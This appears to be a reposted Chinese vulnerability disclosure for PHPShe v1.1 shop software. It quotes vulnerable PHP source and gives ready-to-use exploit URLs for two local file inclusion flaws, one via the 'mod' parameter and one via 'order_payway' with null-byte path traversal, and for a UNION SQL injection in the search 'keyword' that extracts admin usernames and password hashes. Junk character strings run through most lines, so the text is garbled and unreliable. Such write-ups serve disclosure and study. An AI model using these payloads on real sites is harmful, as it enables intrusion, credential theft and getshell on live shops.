phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
% }9 J6 P) y6 j. g! i% e& y: ^. m1 A0 e/* By: : Kn1f3
/* E-Mail : 681796@qq.com
! l8 k3 t4 ~4 }8 i/*******************************************************/
0×00 整体大概参数传输



2 j; p# }9 L' E+ H6 e7 n) X//common.php
if (get_magic_quotes_gpc()) {
) D8 {' H3 y/ |( B; a!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
; R4 y6 @2 }1 T7 J}
else {
) R! \  u9 D5 h!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
/ ~( R6 [3 d/ Q/ i. l: W* T/ z}
' U& r7 y2 }1 ~' {2 z- Csession_start();
) Z0 l0 V8 T1 f% ^!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

. w2 X) v& G7 q( Y2 ^8 T7 t0×01 包含漏洞


/ y1 l' d3 M, s: K//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
. y$ J5 |5 ~- M6 E4 f2 Iinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
- [# y" _; `- W0 J" C* P; ??>
3 i6 W$ p  i+ b! h) N7 X//common 文件 第15行开始
url路由配置
- O7 w+ A/ T' a1 \: x$module = $mod = $act = 'index';
1 y# ~; N, T" q+ m7 b& z0 M, ~1 B$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
# ^& [3 X6 f! i4 m7 |$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
; f& q3 d5 K( |7 T9 z' P//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入

<code id="code2">

//product.php文件
  F; K/ V3 a" d$ |5 hcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
, x& n6 b0 s- b# P2 i7 r, ?$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
; s0 [9 A  z3 ^- R" e) |if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
) ?. I; _; b# g}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
5 Q/ O3 n9 A$ ?: _6 [$nowpath = category_path($category_id);
7 K  n: B' [8 Y3 t$seo = pe_seo($info['category_name']);
: P) l" p0 A! j0 V. W1 Rinclude(pe_tpl('product_list.html'));
, z% M1 G1 F! j* }2 d; q# r1 P//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
5 Z8 B" _( a1 p5 b) F' {) q+ f7 w{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
4 [  N* i5 N8 k* [return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
  N/ h& z9 k3 i. |& s0 d- N}
4 M" d0 Q1 I3 k2 p% z* P; Z//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

; q9 w) t3 z! q0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

+ m( }; l( D. y4 n; ~2 [$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

4 s* D7 T; T5 ^$ {0 Oforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

" G% ?& `& x3 I+ |if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

2 ^: ~0 A/ u, }. ~& N4 g+ J& p}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

  z0 _# O, I# I0 w3 O2 x1 t- G!$order['order_id'] && pe_error('订单号错误...');

$ F/ U$ p, V/ d' t2 @if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

; N9 Y& v# }/ \$ j$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

9 c) f: l; _. W* X+ _7 ?2 Rforeach ($info_list as $v) {

: j" C- V9 I' M( c$ `8 i) G$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

' B0 c, w" g% Zinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

; W- a2 r1 U) Z1 F* d2 D9 C}//当一切准备好的时候就可以进行"鸡肋包含了"

5 E1 P! A3 r! m3 t: Lelse {

' K0 f8 T3 j9 R/ T; ype_error('支付错误...');

}

}

- ^# R% `. Y, g4 s2 r+ R' ~$seo = pe_seo('选择支付方式');

. f" `( {: E. c) M. Y7 y) A1 M0 tinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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